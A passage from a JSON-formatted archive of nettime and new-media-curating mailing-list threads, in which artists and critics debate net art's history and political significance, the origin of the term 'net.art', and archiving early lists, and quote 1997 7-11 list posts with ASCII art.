question: \n> \n> I\u2019m currently writing about various tactical and activist practices\n> in the wireless space, including artistic interventions,\n> software-defined radio communities who are reverse-engineering,\n> hacking, sniffing and jamming signals, communities and activists who\n> are building communal Wi-Fi and cellular networks and artists making\n> work in or about the politics of the wireless spectrum \u2013 who owns\n> it, how it\u2019s controlled and so on. \n> \n> But I\u2019m feeling a bit paralysed. \n> \n> I love these works; I love their inventive materiality and the ways\n> that they exploit and reverse-engineer existing systems, but I don\u2019t\n> know what claims I can make for their political impact. And yet I feel\n> that this work is still very worthwhile. \n> \n> -- \n> \n> http://www.rachelodwyer.com/\n> \n> +353 (85) 7023779\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00007",
                        "date": "Tue, 02 Jul 2019 05:38:15 -0700",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "4b26cc15a924cc0bd5dafe51b0919032@riseup.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00007.html",
                        "content-type": "text/plai",
                        "author_name": "tacira",
                        "subject": "Re: <nettime> Has net-art lost political significance?"
                    }
                ],
                "message-id": "CAJnPTJkeZ3=nrL6geM5st7mJ+CsbjDVNNyipL1EQFhO+twZ9Xg@mail.gmail.com",
                "date": "Mon, 1 Jul 2019 17:38:30 +0100",
                "content-type": "multipart/mixed"
            },
            {
                "content-type": "text/plai",
                "from": "lia lialina <olialia {AT} teleportacia.org>",
                "id": "00246",
                "content": "\nJosephine Bosma wrote:\n\n> err.... ascii paparazzi? Sorry dear Olia, this is too insulting to come\n> from you. Anyway, the biggest problem net art journalists and observers\n> have is that we are too few with too much to do.\n\nJosephine, I don't underestimate your work. The paragraph you refer to is\nfull of love and respect. And I do enjoy interviews as a genre (I love\ndialogues).\n\nBut it is a pity that interviews dominate the critics' output.\n\nThe interview approach cultivates stars, not ideas. And stars, especially\nsuperstars, can be very lovely targets. You can pronounce them dead\nwhenever you like. Ideas live longer.\n\nInterviews are easy to read. They catch a moment. They let future readers\ntouch the past. A picture develops. History's created. But it's a history\nof artists' arrogance, self promotion, mood changes.\n\n---\n\nOne interview provokes another. Critique is reduced to updates and data\ncollection.  I get mail from people writing their PhD, MA, BA in net art\nor net culture. They ask questions like this:\n\n- \"Mrs. Lialina, In 1997, in your interview with J.Bosma you said: \"...\",\ndo you still think the same?\"\n\nor\n\n-\"Mrs. Lialina, In 1998, in an interview with T.Baumgaertel you mentioned\nthat \"...\" Why did you say that?\"\n\nor just\n\n-\"What's \"Agatha Appears\" about?\"\n\nIt reminds me of an old net artists' statement: \"Net artists are their own\nmuseums, curators, CRITICS.\"\n\n> > Btw, saying that net art is just beginning isn't very\n> > different from saying it's dead.\n>\n> That is a very strange thing to say, and I would say highly subjective.\n> I remember your words not so long ago, where you said in a conversation\n> that was published online that you were waiting for the next generation,\n> for those that would say your work is old news!\n\n\nI've a new theory about 3 generations in net art. Will write it soon. (Or\nwe can have an interview. ha-ha-ha).\n\n------------------------------\n\ninteger {AT} www.god-emil.dk wrote:\n\n> nn opinie it = the most intelligent + interessant data outputted by olia\n> lialina [second being ascii paparazzi]\n\nnatalja, ti stanovish'sa sentimental'noj. ja ne uznaju tebia\n\n-------------------------------\n\n\nmurphy {AT} thing.net wrote:\n\n> > But don't you see that net art and net artists changed the\n> > landscape of contemporary art? Now, art institutions have to\n> > learn to act as nodes (not as a center). And they do.\n>\n> Can't see that has happened much from my perch here in NYC.\n\nOne day it too will come to NYC.\n\n-------------------------------\n\nPit Schultz:\n\n\n> to demand now, why not more artists are put into the heaven of\n> net-dot-art is understandable but neverteless futile. we speak already\n> about the past. of course one can try to overwrite history, by inventing\n> a genre of 'artistic software' and neglect that groups like jodi or iod\n> for example started a whole \"do it yourself - school\" of understanding\n> code and the visual layers plus its social context as one thing,\n> tactically including bits of programming language. an approach now\n> very viral on the microsound levels of electronic music.\n\nYes, very true.\n\n-----------------------------------------------------------\n\nbrad brace wrote:\n\n> \"ascii paparazzi!\" =)). The \"classic net-artists\" were merely a few of the\n> first to (regressively) behave online like our regular\n> \"make-art-for-museums artists,\" and sure enough, the whole ol' tired\n> insidious art-institutional entourage was quick to swallow the bait. But\n> how interesting is that?\n\nThat's very interesting! Thank you for pointing that out! I guess we're\nwitness to a real crash in the institutional art system. Some \"regular\nartists\" developed outside the regular system. It's more significant than\nthe Dolly the sheep phenomenon. And more interesting than the crop of\n\"irregular artists\" raised by galleries.\n\n------------------------------\n\n\nIvan Redi wrote:\n\n> Net.art: is this art in net?\nYes\n> or art about net?\nYes\n> or hypertext description of art?\nNo\n> or rhetorical dilemma what art in general should be presented in net?\nNo\n> Does it go beyond ugly designed web pages...\nNo\n>... pure presentation of the canvases done in atelier...\nYes\n>... boring pages of ASCII dogmas of? something...\nYes\n>... technological\n> experiments of things never worked and never will (or if working then\n> simple: 2 web cams and a video beam v with a load of textual\nexplanations)?\nYes\n> or it has more aesthetical demands than flash opening intro for nike.com?\nYes!\n\n\nYou've got 6 out of a possible 9 points! It's the highest score of the\nday.\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Fri, 23 Feb 2001 22:21:32 +0300",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200102240458.XAA16007 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00246.html",
                "list": "nettime_l",
                "author_name": "olia lialina",
                "subject": "<nettime> net art history (digest)"
            },
            {
                "content-type": "text/plain",
                "from": "Charlotte Frost",
                "content": "\nIs this post one of the most iconic pieces of net art history?\nhttp://www.nettime.org/Lists-Archives/nettime-l-9703/msg00094.html\n\nCertainly Rhizome's Rachel Greene believed the story and made it 'art\nhistory' in an article written for Artforum in 2000 she put: 'The term\n\u0152net.art\u00b9 is less a coinage than an accident, the result of a software\nglitch that occurred in December 1995, when Slovenian artist Vuk Cosic\nopened an anonymous e-mail only to find it had been mangled in transmission.\nAmid a morass of alphanumeric gibberish, Cosic could make out just one\nlegible term \u00ad \u0152net.art\u00b9 \u00ad which he began using to talk about online art and\ncommunications'. Greene, R. (2000) \u0152Web Work: a history of internet art\u00b9,\nArtforum, v.38 (no.9): 162\n\nBut as other writers like Josephine Bosma have argued, the term 'net.art'\nwasn't born this way at all\u0160 see her book Nettitudes:\nhttp://www.amazon.com/Nettitudes-Lets-Studies-Network-Cultures/dp/9056628003\n\nSo was it a stunt? A work of net.art itself? And if it is a fusion of\nartwork and a tongue-in-cheek jibe at the discipline of art history\n(creating a kind of 'ism' to bait the art historians) what do we describe it\nas? A kind of new media new art history?  Perhaps Rachel Greene didn't\nbelieve the story, but was also invested in crafting this red herring of a\nnarrative? And whatever it was, how do we work with a post like this when\nstudying the history of Internet art forms? How easy is it to misinterpret\nan list-based archive (or any social media-based archive)? To what extent do\nwe have the license to interpret a list post or should we hunt down it's\nauthor and verify we've understood?",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=2942",
                "follow-up": [
                    {
                        "from": "Nicholas O'Brien",
                        "content": "\nI can't exactly say anything specifically about the labeling of net.art -\nwhether it was a joke, a tongue-in-cheek gesture/label or not - but I do\nfeel like the \"art historical bait\" that was suggested is very relevant to\ncontemporary so-called netart discussions/curation/classifications. Perhaps\nthis is due in part by the continued problematics that net.art as a\nclassification poses to historians that makes me feel a sense of warm\naffinity when thinking about contemporary netart definitions  Although the\nterm was certainly more closely tied to the technical execution of a work\nthen any current netart definite, I think the ambiguity and the playfulness\nof such a term still resonates with myself - a self-identified contemporary\nnetart academic/maker.\n\nThe difficulty of this classification is that it is unclear if the identity\nof this art has to do with material or culture. For instance, Painting is a\nclassification of medium, whereas AbEx is a classification of culture. The\none is based on material plasticity, the other is based on contextual\nanalysis. However, with net.art, historians can approach this work through\nboth methodological avenues. This is even more so with more recent netart -\nparticularly as a newer generation becomes less concerned with technical\nexecution and more preoccupied with social distribution.\n\nSo the ruse seems healthy afoot! Or so I'd argue. The ease of this\nmisinterpretation is perhaps a strength of the medium. I think in being\nable to be fluid and hard to define creates an intrigue both from a\nmaterial and cultural perspective that other mediums rarely approach (or\nonly approach through gimmicky redefinition: \"Painting as memorial,\nphotography as documentary, etc.\")\n\nIn some ways the aftermath of net.art is more interesting to me as a\nmicro-art history then it's own moment. Afterwards artists themselves\nstruggled/strived for new terms and new definitions to distinguish their\nwork as unique or separate from something that might've been considered a\njibe. Terms like \"New Media\" \"Digital Art\" \"Transmedia\" \"post-internet\"\n\"net-based\" \"interactive design\" starting cropping up all over the place -\nalmost as if these classification were apologetically compensating for the\nambiguity and openness of net.art. These efforts could be seen as measure\ntaken by artists to be more easily identifiable within a contemporary\ncanon, but also could be seen as efforts to carve out space/distance from a\nprevious generation/moment.\n\nI want to say more, I guess, but maybe I'll wait for other topics this\nmonth,\nLooking fwd + very best\n\n\nOn Thu, Oct 3, 2013 at 3:01 AM, Charlotte Frost <[log in to unmask]\n> wrote:\n\n> Is this post one of the most iconic pieces of net art history?\n> http://www.nettime.org/Lists-Archives/nettime-l-9703/msg00094.html\n>\n> Certainly Rhizome's Rachel Greene believed the story and made it 'art\n> history' in an article written for Artforum in 2000 she put: 'The term\n> \u0152net.art\u00b9 is less a coinage than an accident, the result of a software\n> glitch that occurred in December 1995, when Slovenian artist Vuk Cosic\n> opened an anonymous e-mail only to find it had been mangled in\n> transmission.\n> Amid a morass of alphanumeric gibberish, Cosic could make out just one\n> legible term \u00ad \u0152net.art\u00b9 \u00ad which he began using to talk about online art\n> and\n> communications'. Greene, R. (2000) \u0152Web Work: a history of internet art\u00b9,\n> Artforum, v.38 (no.9): 162\n>\n> But as other writers like Josephine Bosma have argued, the term 'net.art'\n> wasn't born this way at all\u0160 see her book Nettitudes:\n>\n> http://www.amazon.com/Nettitudes-Lets-Studies-Network-Cultures/dp/9056628003\n>\n> So was it a stunt? A work of net.art itself? And if it is a fusion of\n> artwork and a tongue-in-cheek jibe at the discipline of art history\n> (creating a kind of 'ism' to bait the art historians) what do we describe\n> it\n> as? A kind of new media new art history?  Perhaps Rachel Greene didn't\n> believe the story, but was also invested in crafting this red herring of a\n> narrative? And whatever it was, how do we work with a post like this when\n> studying the history of Internet art forms? How easy is it to misinterpret\n> an list-based archive (or any social media-based archive)? To what extent\n> do\n> we have the license to interpret a list post or should we hunt down it's\n> author and verify we've understood?\n>\n\n\n\n-- \nNicholas O'Brien\n\nVisiting Faculty | Gallery Director\nDepartment of Digital Art, Pratt Institute\ndoubleunderscore.net",
                        "id": 0,
                        "date": "Thu, 3 Oct 2013 22:54:40 -0400",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=12511",
                        "content-type": "text/plain",
                        "author_name": "Nicholas O'Brien",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "mez breeze",
                        "content": "\nOn Thu, Oct 3, 2013 at 5:01 PM, Charlotte Frost <[log in to unmask]\n> wrote:\n\n> Is this post one of the most iconic pieces of net art history?\n> http://www.nettime.org/Lists-Archives/nettime-l-9703/msg00094.html\n>\n\nHow about:\n\nFrom: \"Vuk Cosic\" <[log in to unmask]>\nOrganization: KUD France Preseren\nTo: [log in to unmask]\nDate: Tue, 14 Oct 1997 12:12:23 CET\nSubject: Re: [7-11] backbone\nSender: [log in to unmask]\nReply-To: [log in to unmask]\n\nho\n> whats a net.art backbone?\ngood one,\ni suppose it's a providers idea of 7-11\nsorta\n\nv\n\n######################################################\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n#                                                    #\n#         _____     _ _               _____     _ _  #\n# __/\\__ |___  |   / / |      __/\\__ |___  |   / / | #\n# \\    /    / /____| | |      \\    /    / /____| | | #\n# /_  _\\   / /_____| | |      /_  _\\   / /_____| | | #\n#   \\/    /_/      |_|_|        \\/    /_/      |_|_| #\n#                                                    #\n#                                                    #\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n########### http://www.ljudmila.org/7-11/ ############\n\n\nand:\n\nX-Sender: [log in to unmask]\nDate: Tue, 18 Nov 1997 07:14:01 -0700\nTo: [log in to unmask]\nFrom: nov 97 <[log in to unmask]>\nSubject: [7-11] net art homework\nSender: [log in to unmask]\nReply-To: [log in to unmask]\n\nhttp://jupiter.ucsd.edu/~bookchin/finalProject.html\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n> -\n\n\n\n[that link waybackmachined:\nhttp://web.archive.org/web/20070206180348/http://jupiter.ucsd.edu/~bookchin/finalProject.html\n]\n\nAlso:\n\n\n\nDate: Thu, 27 Nov 1997 20:42:36 +0100\nTo: [log in to unmask]\nFrom: [log in to unmask]\nSubject: [7-11] Majordomo results: A word from the hostess.\nSender: [log in to unmask]\nReply-To: [log in to unmask]\n\n--\n\n>>>> who 7-11 [log in to unmask]\nMembers of list '7-11':\n\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n[log in to unmask]\n\n24 subscribers\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n> -\n\n\nand:\n\nDate: Sun, 30 Nov 1997 10:59:39 -0800 (PST)\nTo: [log in to unmask]\nFrom: [log in to unmask] (Natalie Bookchin)\nSubject: Re: [7-11] A word from the hostess.\nSender: [log in to unmask]\nReply-To: [log in to unmask]\n\nInterview\nNatalie: Do you want to know why there is no net art in california?\n\nNatalie: Um.. there isn't? Yes do tell me why?\n\nNatalie: I think its because we dont have time to waste on things that we\ncant hang in our beach condos.\n\nNatalie And of course we're also buzy walking on the beach, looking at the\nocean, napping under the palm trees, eating the best of pacific rim cooking\n\nNatalie: also we dont have the net yet hooked up in our cars yet\n\nNatalie: thats not true\n\nNatalie: yes it is.\n\n\n_________                          _________\n|  _____  |                        |  _____  |\n| [_____] |                        | [_____] |\n|         |                        |         |\n|         |========================|         |\n|         |              [][][][][]|         |\n|   __    |_____________ [][][][][]|    __   |\n|  (__)   | FM 7-11 ****|  ========|   (__)  |\n|  _____  |_____________|  **VOL{} |  _____  |\n| /     \\ |                        | /     \\ |\n||  ( )  ||________________________||  ( )  ||\n| \\_____/ | CD | TAPE | TAPE | AUX | \\_____/ |\n|_________|____|___1__|___2__|_____|_________|\n\nLET'S CRANK THE SOUND WAY UP\nLET'S DANCE AROUND THE GLOBE\nNO ONE STOP UNTIL WE ALL DROP\n\n[+ Make no mistake, \"net.art\" as a discussion topic has been oscillating\nconstantly since 97]:\n\nFrom: dd <[log in to unmask]>\nTo: \"[log in to unmask]\" <[log in to unmask]>,\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\"[log in to unmask]\" <[log in to unmask]>\nSubject: RE: [7-11] the meaning of the inner circle\nDate: Tue, 30 Dec 1997 00:51:19 +0200\nX-Ms-Attachment: WINMAIL.DAT 0 00-00-1980 00:00\nSender: [log in to unmask]\nReply-To: [log in to unmask]\n\nEssential to art is the work of art.\nEssential to work of art are the spectators and the artist.\nEssential to both is what could be art produced by  works today.\n\nThe form of every artwork could not full of meaning, but full of new\nartistic and dynamic values.\n\nWe can still talk/meet where it is possible to make an effort for another\nwork.\nwhere, spectators and artists are the essential faces who charges a living\nform. The more dispersed of the circle of both, generates the more concrete\nof the form,  in its classical fond.\n\nNet by itself is not enough, it needs the art form, generated by what could\nbe the work.\nThe materials for the work could be everything. The  form's life between\npeople, generates the materials,  not the opposite.\n\n\nthe inner circle is an interesting phenomenon\nI have been contemplating on its meaning\njust today I found in some old nettime posting\na possible insight into what meaning is in general\nwhich seems very useful for the question:\nwhat is the meaning of an inner circle?\n\n\"The line of the argument, as it\nwas developed by Ernesto Laclau, goes as follows: He starts from the\nSaussurian assumption that meaning arises only within a system of\ndifferences. The possibility of a system of differences, however, depends\non the possibility of its limits - and these limits cannot belong to the\nside of the system, since in that case the limit was just another\ndifference and, hence, no limit. It is only as far as we perceive the\noutside of the system as a radical outside (and the limit therefore as an\nexclusionary limit) that we can speak of systematicity or meaning at all.\nAs a consequence the limits cannot be signified themselves, they can only\n'show themselves as the interruption or breakdown of the process of\nsignification' (Laclau 1996:37). The radicality of the radical outside\n(non-meaning) is not only the condition of possibility for the\nestablishment of a structure (meaning) it is at the same time the condition\nof impossibility of the establishment of a structure as closed totality\n(full meaning). The effect of the exclusionary limit, in other words, 'is\nthat it introduces an essential ambivalence within the system of\ndifferences constituted by those limits' (Laclau 1996:38).\"\n\nWhat is essential to net.art?\nWhere can we still talk/meet and where not?\nWho decides on what thinking who to prank?\nAre pranked inner circle?\n\n\nhappy days\n\n\nJ\n*\n\n\n\n\n\n\n-- \n| facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n| twitter.com/MezBreezeDesign\n| en.wikipedia.org/wiki/Mez_Breeze",
                        "id": 0,
                        "date": "Fri, 4 Oct 2013 20:49:20 +1000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=18121",
                        "content-type": "text/plain",
                        "author_name": "mez breeze",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "Josephine Bosma",
                        "content": "\nWow. That is amazing. I hope my English and my work have improved a bit over time.\n\nThis gives me an idea though. My own archive of 7-11 has vanished, as do my other mail archives of that time. Mez reminds me however that there are people who still have theirs. \n\nWould it be something to initiate a project, on online archive of mailing list archives? I for one really miss the early years of the Rhizome archives, from before it was called 'raw' (1997-2001). In fact, all of the Rhizome mailing list archives seem to have disappeared from their website. People who have (parts of) these could maybe be persuaded to share them. \n\nIt would be great if this would also include earlier art 'lists' or mailboxes, including those on the early net and in BBS times. In Tilman Baumg\u00e4rtel's first book on net.art is an interview with Rena Tangens and Padeluun, for example. They ran a 'mailbox' named 'Bionic'. It would also be great to have the Artex 'list' content in there, run by Robert Adrian.\n\nhttp://www.medienkunstnetz.de/works/artex/\n\n\n\nBest wishes,\n\n\nJ\n*\n\n\n\n\nOn 4 okt. 2013, at 12:49, mez breeze wrote:\n\n> On Thu, Oct 3, 2013 at 5:01 PM, Charlotte Frost <[log in to unmask]\n>> wrote:\n> \n>> Is this post one of the most iconic pieces of net art history?\n>> http://www.nettime.org/Lists-Archives/nettime-l-9703/msg00094.html\n>> \n> \n> How about:\n> \n> From: \"Vuk Cosic\" <[log in to unmask]>\n> Organization: KUD France Preseren\n> To: [log in to unmask]\n> Date: Tue, 14 Oct 1997 12:12:23 CET\n> Subject: Re: [7-11] backbone\n> Sender: [log in to unmask]\n> Reply-To: [log in to unmask]\n> \n> ho\n>> whats a net.art backbone?\n> good one,\n> i suppose it's a providers idea of 7-11\n> sorta\n> \n> v\n> \n> ######################################################\n> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n> #                                                    #\n> #         _____     _ _               _____     _ _  #\n> # __/\\__ |___  |   / / |      __/\\__ |___  |   / / | #\n> # \\    /    / /____| | |      \\    /    / /____| | | #\n> # /_  _\\   / /_____| | |      /_  _\\   / /_____| | | #\n> #   \\/    /_/      |_|_|        \\/    /_/      |_|_| #\n> #                                                    #\n> #                                                    #\n> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n> ########### http://www.ljudmila.org/7-11/ ############\n> \n> \n> and:\n> \n> X-Sender: [log in to unmask]\n> Date: Tue, 18 Nov 1997 07:14:01 -0700\n> To: [log in to unmask]\n> From: nov 97 <[log in to unmask]>\n> Subject: [7-11] net art homework\n> Sender: [log in to unmask]\n> Reply-To: [log in to unmask]\n> \n> http://jupiter.ucsd.edu/~bookchin/finalProject.html\n> \n> \n> \n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n>>> Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n> SATISFACTION SURVEY. > > > > >\n> ###################################################### >\n> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n> 071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n> / /____|##################################################################\n>> ## ############      ########## # ### ### ##      ###### >\n> ####  ######  #### #### ######  ##############  ###### >\n> # ####  ##### #### ########## ######  ###   ####### >\n>> \n>> -\n> \n> [that link waybackmachined:\n> http://web.archive.org/web/20070206180348/http://jupiter.ucsd.edu/~bookchin/finalProject.html\n> ]\n> \n> Also:\n> \n> \n> \n> Date: Thu, 27 Nov 1997 20:42:36 +0100\n> To: [log in to unmask]\n> From: [log in to unmask]\n> Subject: [7-11] Majordomo results: A word from the hostess.\n> Sender: [log in to unmask]\n> Reply-To: [log in to unmask]\n> \n> --\n> \n>>>>> who 7-11 [log in to unmask]\n> Members of list '7-11':\n> \n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> [log in to unmask]\n> \n> 24 subscribers\n> \n> \n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n>>> Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n> SATISFACTION SURVEY. > > > > >\n> ###################################################### >\n> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n> 071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n> / /____|##################################################################\n>> ## ############      ########## # ### ### ##      ###### >\n> ####  ######  #### #### ######  ##############  ###### >\n> # ####  ##### #### ########## ######  ###   ####### >\n>> \n>> -\n> \n> \n> and:\n> \n> Date: Sun, 30 Nov 1997 10:59:39 -0800 (PST)\n> To: [log in to unmask]\n> From: [log in to unmask] (Natalie Bookchin)\n> Subject: Re: [7-11] A word from the hostess.\n> Sender: [log in to unmask]\n> Reply-To: [log in to unmask]\n> \n> Interview\n> Natalie: Do you want to know why there is no net art in california?\n> \n> Natalie: Um.. there isn't? Yes do tell me why?\n> \n> Natalie: I think its because we dont have time to waste on things that we\n> cant hang in our beach condos.\n> \n> Natalie And of course we're also buzy walking on the beach, looking at the\n> ocean, napping under the palm trees, eating the best of pacific rim cooking\n> \n> Natalie: also we dont have the net yet hooked up in our cars yet\n> \n> Natalie: thats not true\n> \n> Natalie: yes it is.\n> \n> \n> _________                          _________\n> |  _____  |                        |  _____  |\n> | 